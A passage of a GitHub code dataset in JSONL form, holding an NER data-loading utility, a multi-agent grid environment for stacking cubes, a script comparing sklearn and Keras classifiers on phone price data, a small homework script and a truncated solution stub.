{}\n d_idx = doc_idx\n w_idx = 1\n for line in in_lines:\n if len(line) > 2:\n pairs = line.strip().split()\n\n if sys.version_info[0] < 3:\n word = pairs[0].decode('utf-8')\n else:\n word = pairs[0]\n\n if number_normalized:\n word = normalize_word(word)\n if word == \"-DOCSTART-\":\n if wix2lower_word!={}:\n tmp = np.zeros((w_idx, max_read_memory), dtype=np.long)\n for _w_idx in wix2lower_word.keys():\n a = np.array(lower_word2refidx[wix2lower_word[_w_idx]])\n a = a[a!=_w_idx][:max_read_memory]\n tmp[_w_idx][:a.size] = a\n word_mat.append([])\n word_mat[d_idx] = tmp\n lower_word2refidx = {}\n wix2lower_word = {}\n d_idx += 1\n w_idx = 1\n continue # don't include DOCSTART\n label = pairs[-1]\n labels.append(label)\n words.append(word)\n word_Ids.append(word_alphabet.get_index(word))\n label_Ids.append(label_alphabet.get_index(label))\n ## get features\n feat_list = []\n feat_Id = []\n for idx in range(feature_num):\n feat_idx = pairs[idx+1].split(']',1)[-1]\n feat_list.append(feat_idx)\n feat_Id.append(feature_alphabets[idx].get_index(feat_idx))\n features.append(feat_list)\n feature_Ids.append(feat_Id)\n ## get char\n char_list = []\n char_Id = []\n for char in word:\n char_list.append(char)\n if char_padding_size > 0:\n char_number = len(char_list)\n if char_number < char_padding_size:\n char_list = char_list + [char_padding_symbol]*(char_padding_size-char_number)\n assert(len(char_list) == char_padding_size)\n else:\n ### not padding\n pass\n for char in char_list:\n char_Id.append(char_alphabet.get_index(char))\n chars.append(char_list)\n char_Ids.append(char_Id)\n else:\n if (len(words) > 0) and ((max_sent_length < 0) or (len(words) < max_sent_length)):\n for word in words:\n key = word.lower()\n # key = word[0] + word[1:].lower()\n # key = word\n wix2lower_word[w_idx] = key\n lower_word2refidx.setdefault(key, [])\n lower_word2refidx[key].append(w_idx)\n\n word_idx.append(w_idx)\n w_idx += 1\n if len(instence_texts) == d_idx-doc_idx:\n instence_texts.append([])\n instence_Ids.append([])\n instence_texts[d_idx - doc_idx].append([words, features, chars, labels])\n instence_Ids[d_idx - doc_idx].append([word_Ids, feature_Ids, char_Ids, label_Ids, word_idx, d_idx])\n words = []\n features = []\n chars = []\n labels = []\n word_Ids = []\n feature_Ids = []\n char_Ids = []\n label_Ids = []\n word_idx = []\n\n if (len(words) > 0) and ((max_sent_length < 0) or (len(words) < max_sent_length)):\n for word in words:\n key = word.lower()\n # key = word[0] + word[1:].lower()\n # key = word\n wix2lower_word[w_idx] = key\n lower_word2refidx.setdefault(key, [])\n lower_word2refidx[key].append(w_idx)\n\n word_idx.append(w_idx)\n w_idx += 1\n if len(instence_texts) == d_idx - doc_idx:\n instence_texts.append([])\n instence_Ids.append([])\n instence_texts[d_idx - doc_idx].append([words, features, chars, labels])\n instence_Ids[d_idx - doc_idx].append([word_Ids, feature_Ids, char_Ids, label_Ids, word_idx, d_idx])\n\n if wix2lower_word != {}:\n tmp = np.zeros((w_idx, max_read_memory), dtype=np.long)\n for _w_idx in wix2lower_word.keys():\n a = np.array(lower_word2refidx[wix2lower_word[_w_idx]])\n a = a[a != _w_idx][:max_read_memory]\n tmp[_w_idx][:a.size] = a\n word_mat.append([])\n word_mat[d_idx] = tmp\n d_idx += 1\n\n assert d_idx-doc_idx == len(instence_texts), print(\"error when loading text, file format dismatch!\")\n return instence_texts, instence_Ids, d_idx, word_mat\n\n\ndef build_pretrain_embedding(embedding_path, word_alphabet, embedd_dim=100, norm=True):\n embedd_dict = dict()\n if embedding_path != None:\n embedd_dict, embedd_dim = load_pretrain_emb(embedding_path)\n alphabet_size = word_alphabet.size()\n scale = np.sqrt(3.0 / embedd_dim)\n pretrain_emb = np.empty([word_alphabet.size(), embedd_dim])\n perfect_match = 0\n case_match = 0\n not_match = 0\n for word, index in word_alphabet.iteritems():\n if word in embedd_dict:\n if norm:\n pretrain_emb[index,:] = norm2one(embedd_dict[word])\n else:\n pretrain_emb[index,:] = embedd_dict[word]\n perfect_match += 1\n elif word.lower() in embedd_dict:\n if norm:\n pretrain_emb[index,:] = norm2one(embedd_dict[word.lower()])\n else:\n pretrain_emb[index,:] = embedd_dict[word.lower()]\n case_match += 1\n else:\n pretrain_emb[index,:] = np.random.uniform(-scale, scale, [1, embedd_dim])\n not_match += 1\n pretrained_size = len(embedd_dict)\n print(\"Embedding:\\n pretrain word:%s, prefect match:%s, case_match:%s, oov:%s, oov%%:%s\"%(pretrained_size, perfect_match, case_match, not_match, (not_match+0.)/alphabet_size))\n return pretrain_emb, embedd_dim\n\ndef norm2one(vec):\n root_sum_square = np.sqrt(np.sum(np.square(vec)))\n return vec/root_sum_square\n\ndef load_pretrain_emb(embedding_path):\n embedd_dim = -1\n embedd_dict = dict()\n with open(embedding_path, 'r', encoding=\"utf8\") as file:\n for line in file:\n line = line.strip()\n if len(line) == 0:\n continue\n tokens = line.split()\n if embedd_dim < 0:\n embedd_dim = len(tokens) - 1\n else:\n assert (embedd_dim + 1 == len(tokens))\n embedd = np.empty([1, embedd_dim])\n embedd[:] = tokens[1:]\n if sys.version_info[0] < 3:\n first_col = tokens[0].decode('utf-8')\n else:\n first_col = tokens[0]\n embedd_dict[first_col] = embedd\n return embedd_dict, embedd_dim\n\nif __name__ == '__main__':\n a = np.arange(9.0)\n print(a)\n print(norm2one(a))\n","repo_name":"jiacheng-ye/DocL-NER","sub_path":"utils/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":7848,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"22"} +{"seq_id":"30492915048","text":"from collections import namedtuple\nimport numpy as np\nimport sys\nimport random\nfrom gym import spaces\nfrom env_core import CoreEnv\n\n\ndef up_scaler(grid, up_size):\n res = np.zeros(shape=np.asarray(np.shape(grid)) * up_size)\n for (x, y), value in np.ndenumerate(grid):\n res[x * up_size:x * up_size + up_size, y * up_size:y * up_size + up_size] = grid[x][y]\n return res\n\n\nclass Agent():\n def __init__(self, num, pos_x, pos_y, typ, magnet_toogle=False):\n self.num = num\n self.pos_x = pos_x\n self.pos_y = pos_y\n self.toogle = magnet_toogle\n self.typ = typ\n\n\nclass ArmEnv(CoreEnv):\n metadata = {'render.modes': ['human', 'ansi']}\n\n ACTIONS = namedtuple(\"ACTIONS\", [\"LEFT\", \"UP\", \"RIGHT\", \"DOWN\", \"ON\", \"OFF\", ])(\n LEFT=0,\n UP=1,\n RIGHT=2,\n DOWN=3,\n ON=4,\n OFF=5,\n )\n\n MOVE_ACTIONS = {\n ACTIONS.UP: [-1, 0],\n ACTIONS.LEFT: [0, -1],\n ACTIONS.DOWN: [1, 0],\n ACTIONS.RIGHT: [0, 1],\n }\n\n def __init__(self, size_x, size_y, agents_num, cubes_cnt, episode_max_length,\n finish_reward, action_minus_reward, tower_target_size, cube_type_cnt=2):\n assert agents_num > cube_type_cnt, 'too many types of boxes ({}) for {} agents'.format(cube_type_cnt, agents_num)\n self._size_x = size_x\n self._size_y = size_y\n self._grid = np.zeros(shape=(self._size_x, self._size_y), dtype=np.int32)\n self._agents_num = agents_num\n self.agents = []\n for i in range(self._agents_num):\n self.agents.append(Agent(i, 0, i, 1, False))\n self._cubes_cnt = cubes_cnt\n\n # As default, we use only 2 types of cubes which are represented as \"1\" and \"7\"\n # If you need more than 2 -> cubes are represented with free random numbers\n if cube_type_cnt == 1:\n self.cube_type = [1]\n elif cube_type_cnt == 2:\n self.cube_type = [1, 7]\n else:\n target_list = range(4, 10)\n self.cube_type = [1] + random.sample(target_list, cube_type_cnt - 1)\n\n self._episode_max_length = episode_max_length\n\n self._finish_reward = finish_reward\n self._action_minus_reward = action_minus_reward\n self._tower_target_size = tower_target_size\n # checking for grid overflow\n assert cubes_cnt < size_x * size_y, \"Cubes overflow the grid\"\n assert self._agents_num <= size_y, \"Too many agents\"\n self.reset()\n self.action_space = spaces.Discrete(6)\n self.grid_to_id = {}\n\n\n def is_cube(self, x, y):\n if self._grid[x ,y] in self.cube_type:\n return True\n else:\n return False\n\n\n def ok(self, x, y):\n return 0 <= x < self._grid.shape[0] and 0 <= y < self._grid.shape[1]\n\n def ok_and_empty(self, x, y):\n return self.ok(x, y) and self._grid[x][y] == 0\n\n def grid_to_bin(self):\n grid = np.array(self._grid, copy=True)\n s = []\n for i in np.nditer(grid):\n s.append(int(i))\n return tuple(s)\n\n\n def step(self, a, options=False):\n if len(a) != self._agents_num:\n raise ValueError(\"Action space dimension must be equal to the number of agents\")\n\n self._episode_length += 1\n\n for num_agent, agent in enumerate(self.agents):\n if a[num_agent] in self.MOVE_ACTIONS:\n cube_dx, cube_dy = self.MOVE_ACTIONS[self.ACTIONS.DOWN]\n cube_x, cube_y = agent.pos_x + cube_dx, agent.pos_y + cube_dy\n\n #if self.ok(cube_x, cube_y):\n #check is there magneted box downside?\n # if there is -> change both coordinats: agend and box\n # if not -> only agent's\n\n # Also, check, can particular agent move box of this type?\n if agent.toogle and self.ok(cube_x, cube_y) and agent.typ == self._grid[cube_x, cube_y] \\\n and self.is_cube(cube_x, cube_y):\n\n current_box_type = self._grid[cube_x, cube_y]\n new_arm_x, new_arm_y = agent.pos_x + self.MOVE_ACTIONS[a[num_agent]][0], \\\n agent.pos_y + self.MOVE_ACTIONS[a[num_agent]][1]\n new_cube_x, new_cube_y = new_arm_x + cube_dx, new_arm_y + cube_dy\n\n\n self._grid[cube_x][cube_y] = 0\n self._grid[agent.pos_x][agent.pos_y] = 0\n\n # if everything is ok -> confirm changes\n if self.ok_and_empty(new_arm_x, new_arm_y) and self.ok_and_empty(new_cube_x, new_cube_y):\n agent.pos_x, agent.pos_y = new_arm_x, new_arm_y\n self._grid[new_arm_x][new_arm_y] = 2 + agent.toogle * 1\n self._grid[new_cube_x][new_cube_y] = current_box_type\n\n # if not -> return to default\n else:\n self._grid[cube_x][cube_y] = current_box_type\n self._grid[agent.pos_x][agent.pos_y] = 2 + agent.toogle * 1\n else:\n new_arm_x, new_arm_y = agent.pos_x + self.MOVE_ACTIONS[a[num_agent]][0], \\\n agent.pos_y + self.MOVE_ACTIONS[a[num_agent]][1]\n\n if self.ok_and_empty(new_arm_x, new_arm_y):\n self._grid[agent.pos_x][agent.pos_y] = 0\n self._grid[new_arm_x][new_arm_y] = 2 + agent.toogle * 1\n agent.pos_x, agent.pos_y = new_arm_x, new_arm_y\n else:\n # cant move, mb -reward\n pass\n\n # Magnet actions\n\n elif a[num_agent] == self.ACTIONS.ON:\n agent.toogle = True\n self._grid[agent.pos_x][agent.pos_y] = 3\n\n # Drop box down, if it was caught and the magnet was turned off\n\n elif a[num_agent] == self.ACTIONS.OFF:\n cube_dx, cube_dy = self.MOVE_ACTIONS[self.ACTIONS.DOWN]\n cube_x, cube_y = agent.pos_x + cube_dx, agent.pos_y + cube_dy\n\n if self.ok(cube_x, cube_y) and self.is_cube(cube_x, cube_y) and agent.toogle:\n new_cube_x, new_cube_y = cube_x + cube_dx, cube_y + cube_dy\n while self.ok_and_empty(new_cube_x, new_cube_y):\n new_cube_x, new_cube_y = new_cube_x + cube_dx, new_cube_y + cube_dy\n new_cube_x, new_cube_y = new_cube_x - cube_dx, new_cube_y - cube_dy\n self._grid[new_cube_x, new_cube_y], self._grid[cube_x, cube_y] = self._grid[cube_x, cube_y], self._grid[new_cube_x, new_cube_y]\n agent.toogle = False\n self._grid[agent.pos_x][agent.pos_y] = 2\n\n # check if there are boxes which are not on the ground\n self.check_free_boxes()\n\n observation = self.grid_to_bin()\n self._current_state = observation\n reward = self._action_minus_reward\n info = None\n\n if self.get_tower_height() == self._tower_target_size:\n self._done = True\n reward += self._finish_reward\n info = True\n return observation, reward, self._done, info\n\n if self._episode_max_length <= self._episode_length:\n self._done = True\n return observation, reward, self._done, info\n\n def is_done(self):\n return self._done\n\n # return observation\n def _get_obs(self):\n pass\n\n # return: (states, observations)\n def check_free_boxes(self):\n for i_y in range(1, self._grid.shape[1]):\n for i_x in range(self._grid.shape[0] - 1):\n if self.is_cube(i_x, i_y) and self._grid[i_x + 1, i_y] == 0 \\\n and not self._grid[i_x - 1, i_y] == 3:\n self.fall(i_x, i_y)\n\n def fall(self, x, y):\n # only boxes should be here!\n if self.is_cube(x, y):\n cube_dx, cube_dy = self.MOVE_ACTIONS[self.ACTIONS.DOWN]\n cube_x, cube_y = x + cube_dx, y + cube_dy\n new_cube_x, new_cube_y = cube_x + cube_dx, cube_y + cube_dy\n while self.ok_and_empty(new_cube_x, new_cube_y):\n new_cube_x, new_cube_y = new_cube_x + cube_dx, new_cube_y + cube_dy\n new_cube_x, new_cube_y = new_cube_x - cube_dx, new_cube_y - cube_dy\n self._grid[new_cube_x, new_cube_y], self._grid[x, y] = self._grid[x, y], self._grid[\n new_cube_x, new_cube_y]\n\n\n def reset(self):\n self._episode_length = 0\n self._grid = np.zeros(shape=(self._size_x, self._size_y), dtype=np.int32)\n # creating agents\n for n, agent in enumerate(self.agents):\n agent.pos_x = 0\n agent.pos_y = agent.num\n agent.toogle = False\n agent.typ = self.cube_type[n % len(self.cube_type)]\n self._grid[0, agent.num] = 2 + agent.toogle * 1\n\n self._done = False\n cubes_left = self._cubes_cnt\n for (x, y), value in reversed(list(np.ndenumerate(self._grid))):\n if cubes_left == 0:\n break\n cubes_left -= 1\n self._grid[x, y] = self.cube_type[cubes_left % len(self.cube_type)]\n\n self._current_state = self.grid_to_bin()\n return self._current_state\n\n def render(self, mode='human', close=False):\n if close:\n return\n outfile = sys.stdout\n\n out = np.array(self._grid, copy=True)\n #for agent in self.agents:\n # out[agent.pos_x, agent.pos_y] = 2 + agent.toogle * 1\n\n outfile.write('\\n')\n outfile.write(str(out))\n outfile.write('\\n')\n\n def get_tower_height(self):\n h = []\n for j in range(self._grid.shape[1]):\n if self._grid[self._grid.shape[0]-1, j] != 1:\n continue\n t = 0\n for i in np.arange(self._grid.shape[0] - 1, 0, -1):\n if (self.is_cube(i, j) and not self.is_cube(i - 1, j)\n and (i + 1 == self._grid.shape[0] or self.is_cube(i + 1, j))):\n t = self._grid.shape[0] - i\n h.append(t)\n break\n h = np.array(h)\n if h.size == 0:\n return 0\n else:\n return max(h)\n\n\n def use_path(self, path={2: [3, 3, 2, 2, 4, 1, 2, 5, 0]}):\n for ag in path:\n for act in path[ag]:\n self.step((4, act))\n\n\n'''\nenv = ArmEnv(size_x=5,\n size_y=1,\n agents_num=1,\n cubes_cnt=2,\n episode_max_length=200,\n finish_reward=200,\n action_minus_reward=0.0,\n tower_target_size=3)\n \n'''\n\n'''\nenv.render()\nenv._grid[3, 0] = 1\nenv.step([3])\nenv.step([3])\nenv.step([4])\nenv.step([1])\nenv.render()\n'''\n\n'''\n===================\nTEST CONFIGURATION\n===================\n'''\n'''\nenv = ArmEnv(size_x=5,\n size_y=5,\n agents_num=2,\n cubes_cnt=5,\n episode_max_length=200,\n finish_reward=200,\n action_minus_reward=0.0,\n tower_target_size=3)\n\nprint(env.get_tower_height())\nenv.render()\n\nenv.step([3, 3])\nenv.step([3, 3])\nenv.step([3, 3])\nenv.render()\nenv.step([0, 4])\nenv.render()\nenv.step([0, 1])\nenv.render()\nenv.step([2, 1])\nenv.render()\nenv.step([2, 2])\nenv.render()\nenv.step([2, 1])\nenv.render()\nenv.step([1, 1])\nenv.render()\nenv.step([1, 1])\nenv.render()\nenv.step([5, 5])\nenv.render()\nenv.step([2, 2])\nenv.render()\nenv.step([2, 2])\n\nenv.render()\nprint(env.get_tower_height())\n\n'''\n#env.reset()\n#env.step([3, 2])\n#env.step([3, 2])\n#print(env.get_tower_height())\n#env.render()\n\n#act_dic = {0: 'left', 1: 'up', 2: 'right', 3: 'down', 4: 'on', 5: 'off'}\n\n'''\nfor i in range(200):\n if i > 50:\n env.reset()\n print('RESET!')\n act = np.random.randint(6, size=2)\n print(act)\n env.step(act)\n print(env.get_tower_height())\n for ag in range(len(env.agents)):\n print(\"Choosen action: \", act[ag], act_dic[act[ag]])\n print('=====')\n env.render()\n print(env.agents[0].pos_x, env.agents[0].pos_y, env.agents[0].toogle)\n'''\n\n\n'''\nLEFT=0,\nUP=1,\nRIGHT=2,\nDOWN=3,\nON=4,\nOFF=5\n'''\n","repo_name":"rvtsukanov/AI","sub_path":"arm_env_multi.py","file_name":"arm_env_multi.py","file_ext":"py","file_size_in_byte":12237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"5739970825","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn import model_selection\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, BatchNormalization, LeakyReLU\nfrom sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score\nfrom keras.utils import to_categorical\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.ensemble import BaggingClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom keras.callbacks import EarlyStopping\nimport matplotlib.pyplot as plt\n\ndata = pd.read_csv(\"train.csv\")\ndata = data.iloc[1:]\ndata.reset_index(drop=True, inplace=True)\n\ndata = data.dropna()\n\nX = data.drop('price_range', axis=1)\ny = data['price_range']\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\nscaler = StandardScaler()\nscaler.fit(X_train)\nX_train_scaled = scaler.transform(X_train)\nX_test_scaled = scaler.transform(X_test)\n\nlabel_encoder = LabelEncoder()\ny_test = label_encoder.fit_transform(y_test)\ny_train = label_encoder.fit_transform(y_train)\n\ny_train_classes = to_categorical(y_train, num_classes=4)\ny_test_classes = to_categorical(y_test, num_classes=4)\n\nkfold = model_selection.KFold(n_splits=5)\n\ngrid_models = []\n\nparam_grid = {\n 'C': [0.001, 0.01, 1, 10, 100, 1000, 10000, 100000, 1000000]\n}\nsoftmax = LogisticRegression(multi_class='multinomial', solver='lbfgs', penalty='l2')\ngrid_models.append(('SoftMax',\n GridSearchCV(estimator=softmax,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nparam_grid = {\n 'C': [0.001, 0.01, 0.1, 1, 10, 100, 1000, 10000],\n 'gamma': [0.000001, 0.00001, 0.0001, 0.001, 0.1, 1, 10, 100]\n}\nsvc = SVC(kernel='linear')\ngrid_models.append(('SVC linear',\n GridSearchCV(estimator=svc,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nparam_grid = {\n 'C': [0.001, 0.01, 0.1, 1, 10],\n 'gamma': [0.001, 0.1, 1, 10, 100]\n}\nsvc = SVC(kernel='poly')\ngrid_models.append(('SVC poly',\n GridSearchCV(estimator=svc,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nparam_grid = {\n 'C': [0.01, 0.1, 1, 10, 100],\n 'gamma': [0.1, 1, 10, 100, 1000]\n}\nsvc = SVC(kernel='rbf')\ngrid_models.append(('SVC rbf',\n GridSearchCV(estimator=svc,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nparam_grid = {\n 'n_estimators': [2000],\n 'max_samples': [1000],\n 'max_features': [20]\n}\nbagging_classifier = BaggingClassifier(DecisionTreeClassifier(), bootstrap=True)\ngrid_models.append(('Bagging',\n GridSearchCV(estimator=bagging_classifier,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nparam_grid = {\n 'n_estimators': [800],\n 'max_samples': [500],\n 'max_features': [20]\n}\nbagging_classifier = BaggingClassifier(DecisionTreeClassifier(), bootstrap=False)\ngrid_models.append(('Pasting',\n GridSearchCV(estimator=bagging_classifier,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nparam_grid = {\n 'n_estimators': [500],\n 'min_samples_split': [3]\n}\nrf_classifier = RandomForestClassifier(max_depth=None)\ngrid_models.append(('Random Forest',\n GridSearchCV(estimator=rf_classifier,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nparam_grid = {\n 'criterion': ['entropy'],\n 'max_depth': [None],\n 'min_samples_split': [2],\n 'min_samples_leaf': [2],\n}\ntree_classifier = DecisionTreeClassifier()\ngrid_models.append(('Decision Tree',\n GridSearchCV(estimator=tree_classifier,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\n\nparam_grid = {\n 'n_estimators': [100],\n 'learning_rate': [1.0]\n}\nada_classifier = AdaBoostClassifier()\ngrid_models.append(('AdaBoost',\n GridSearchCV(estimator=ada_classifier,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nparam_grid = {\n 'n_estimators': [100],\n 'learning_rate': [1.0]\n}\ngradient_classifier = GradientBoostingClassifier()\ngrid_models.append(('GradientBoost',\n GridSearchCV(estimator=gradient_classifier,\n param_grid=param_grid,\n cv=kfold,\n n_jobs=3)))\n\nmodel_scores = {}\nmodel_names = []\nmodel_precisions = []\nmodel_recalls = []\nmodel_f1s = []\nmodel_accuracies = []\n\nfor name, model in grid_models:\n model.fit(X_train_scaled, y_train)\n best_estimator = model.best_estimator_\n y_pred = best_estimator.predict(X_test_scaled)\n precision = precision_score(y_test, y_pred, average='macro')\n recall = recall_score(y_test, y_pred, average='macro')\n f1 = f1_score(y_test, y_pred, average='macro')\n accuracy = accuracy_score(y_test, y_pred)\n\n model_scores[name] = {\n 'precision_score': precision,\n 'recall_score': recall,\n 'f1_score': f1,\n 'accuracy_score': accuracy\n }\n\n model_names.append(name)\n model_precisions.append(precision)\n model_recalls.append(recall)\n model_f1s.append(f1)\n model_accuracies.append(accuracy)\n\ndf = pd.DataFrame.from_dict(model_scores, orient='index')\nprint(df)\n\nplt.figure(figsize=(16, 6))\nplt.bar(model_names, model_precisions)\nfor i in range(len(model_names)):\n plt.text(x=i, y=model_precisions[i]/2, s=\"{:.4f}\".format(model_precisions[i]), ha='center')\nplt.xlabel('Models')\nplt.ylabel('Precision')\nplt.title('Precision comparison')\nplt.show()\n\nplt.figure(figsize=(16, 6))\nplt.bar(model_names, model_recalls)\nfor i in range(len(model_names)):\n plt.text(x=i, y=model_recalls[i]/2, s=\"{:.4f}\".format(model_recalls[i]), ha='center')\nplt.xlabel('Models')\nplt.ylabel('Recall')\nplt.title('Recall comparison')\nplt.show()\n\nplt.figure(figsize=(16, 6))\nplt.bar(model_names, model_f1s)\nfor i in range(len(model_names)):\n plt.text(x=i, y=model_f1s[i]/2, s=\"{:.4f}\".format(model_f1s[i]), ha='center')\nplt.xlabel('Models')\nplt.ylabel('F1')\nplt.title('F1 comparison')\nplt.show()\n\nplt.figure(figsize=(16, 6))\nplt.bar(model_names, model_accuracies)\nfor i in range(len(model_names)):\n plt.text(x=i, y=model_accuracies[i]/2, s=\"{:.4f}\".format(model_accuracies[i]), ha='center')\nplt.xlabel('Models')\nplt.ylabel('Accuracy')\nplt.title('Accuracy comparison')\nplt.show()\n\nmodel_names = []\nmodel_accuracy = []\n\nmodel = Sequential()\nmodel.add(Dense(256, activation=\"elu\", input_shape=(X_train_scaled.shape[1],), kernel_initializer='he_uniform',\n use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Dropout(0.6))\nmodel.add(Dense(64, activation=\"elu\", kernel_initializer='he_uniform', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(16, activation=\"elu\", kernel_initializer='he_uniform', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(4, activation=\"softmax\", kernel_initializer='he_uniform'))\n\nearly_stopping = EarlyStopping(monitor='val_loss', patience=5)\n\nmodel.compile(loss='categorical_crossentropy', optimizer='Adam', metrics=['accuracy'])\nmodel.fit(X_train_scaled, y_train_classes, batch_size=32, epochs=100, validation_data=(X_test_scaled, y_test_classes),\n callbacks=[early_stopping])\n\nloss, accuracy = model.evaluate(X_test_scaled, y_test_classes)\nmodel_names.append('elu')\nmodel_accuracy.append(accuracy)\n\nmodel = Sequential()\nmodel.add(Dense(256, activation=\"relu\", input_shape=(X_train_scaled.shape[1],), kernel_initializer='he_uniform',\n use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Dropout(0.6))\nmodel.add(Dense(64, activation=\"relu\", kernel_initializer='he_uniform', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(16, activation=\"relu\", kernel_initializer='he_uniform', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(4, activation=\"softmax\", kernel_initializer='he_uniform'))\n\nearly_stopping = EarlyStopping(monitor='val_loss', patience=5)\n\nmodel.compile(loss='categorical_crossentropy', optimizer='Adam', metrics=['accuracy'])\nmodel.fit(X_train_scaled, y_train_classes, batch_size=32, epochs=65, validation_data=(X_test_scaled, y_test_classes),\n callbacks=[early_stopping])\n\nloss, accuracy = model.evaluate(X_test_scaled, y_test_classes)\nmodel_names.append('relu')\nmodel_accuracy.append(accuracy)\n\n\nmodel = Sequential()\nmodel.add(Dense(256, input_shape=(X_train_scaled.shape[1],), kernel_initializer='he_uniform',\n use_bias=False))\nmodel.add(LeakyReLU(alpha=0.2))\nmodel.add(BatchNormalization())\nmodel.add(Dropout(0.6))\nmodel.add(Dense(64, kernel_initializer='he_uniform', use_bias=False))\nmodel.add(LeakyReLU(alpha=0.2))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(16, kernel_initializer='he_uniform', use_bias=False))\nmodel.add(LeakyReLU(alpha=0.2))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(4, activation=\"sigmoid\", kernel_initializer='he_uniform'))\n\nearly_stopping = EarlyStopping(monitor='val_loss', patience=5)\n\nmodel.compile(loss='categorical_crossentropy', optimizer='Adam', metrics=['accuracy'])\nmodel.fit(X_train_scaled, y_train_classes, batch_size=32, epochs=40, validation_data=(X_test_scaled, y_test_classes),\n callbacks=[early_stopping])\n\nloss, accuracy = model.evaluate(X_test_scaled, y_test_classes)\nmodel_names.append('LeakyReLU')\nmodel_accuracy.append(accuracy)\n\nmodel = Sequential()\nmodel.add(Dense(256, activation=\"sigmoid\", input_shape=(X_train_scaled.shape[1],), kernel_initializer='he_uniform',\n use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Dropout(0.6))\nmodel.add(Dense(64, activation=\"sigmoid\", kernel_initializer='he_uniform', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(16, activation=\"sigmoid\", kernel_initializer='he_uniform', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(4, activation=\"sigmoid\", kernel_initializer='he_uniform'))\n\nearly_stopping = EarlyStopping(monitor='val_loss', patience=5)\n\nmodel.compile(loss='categorical_crossentropy', optimizer='Adam', metrics=['accuracy'])\nmodel.fit(X_train_scaled, y_train_classes, batch_size=32, epochs=200, validation_data=(X_test_scaled, y_test_classes),\n callbacks=[early_stopping])\n\nloss, accuracy = model.evaluate(X_test_scaled, y_test_classes)\nmodel_names.append('sigmoid')\nmodel_accuracy.append(accuracy)\n\nmodel = Sequential()\nmodel.add(Dense(256, activation=\"tanh\", input_shape=(X_train_scaled.shape[1],), kernel_initializer='he_uniform',\n use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Dropout(0.6))\nmodel.add(Dense(64, activation=\"tanh\", kernel_initializer='he_uniform', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(16, activation=\"tanh\", kernel_initializer='he_uniform', use_bias=False))\nmodel.add(Dropout(0.5))\nmodel.add(BatchNormalization())\nmodel.add(Dense(4, activation=\"softmax\", kernel_initializer='he_uniform'))\n\nearly_stopping = EarlyStopping(monitor='val_loss', patience=5)\n\nmodel.compile(loss='categorical_crossentropy', optimizer='Adam', metrics=['accuracy'])\nmodel.fit(X_train_scaled, y_train_classes, batch_size=32, epochs=100, validation_data=(X_test_scaled, y_test_classes),\n callbacks=[early_stopping])\n\nloss, accuracy = model.evaluate(X_test_scaled, y_test_classes)\nmodel_names.append('tanh')\nmodel_accuracy.append(accuracy)\n\nplt.figure(figsize=(10, 6))\nplt.bar(model_names, model_accuracy)\nfor i in range(len(model_names)):\n plt.text(x=i, y=model_accuracy[i]/2, s=\"{:.4f}\".format(model_accuracy[i]), ha='center')\nplt.xlabel('Models')\nplt.ylabel('Accuracy')\nplt.title('Accuracy comparison')\nplt.show()","repo_name":"reko001/psiProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11201222358","text":"first_class = input(\"Input the number of students in first class\")\nsecond_class = input(\"Input the number of students in second class\")\nthird_class = input(\"Input the number of students in third class\")\n\ncount_first = int(first_class) % 2\nresult_first = (int(first_class) + int(count_first)) // 2\n\ncount_second = int(second_class) % 2\nresult_second = (int(second_class) + int(count_second)) // 2\n\ncount_third = int(third_class) % 2\nresult_third = (int(third_class) + int(count_third)) // 2\n\noverall = result_first + result_second + result_third\n\nprint(\"You need to buy:\", overall, \"desks\")\n","repo_name":"gubersky/python_basic","sub_path":"homework/lesson_3/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9756826862","text":"n, k = map(int, input().split()) # n : 멀티탭 갯수 / k : 전기용품의 총 사용 횟수\ndata = list(map(int, 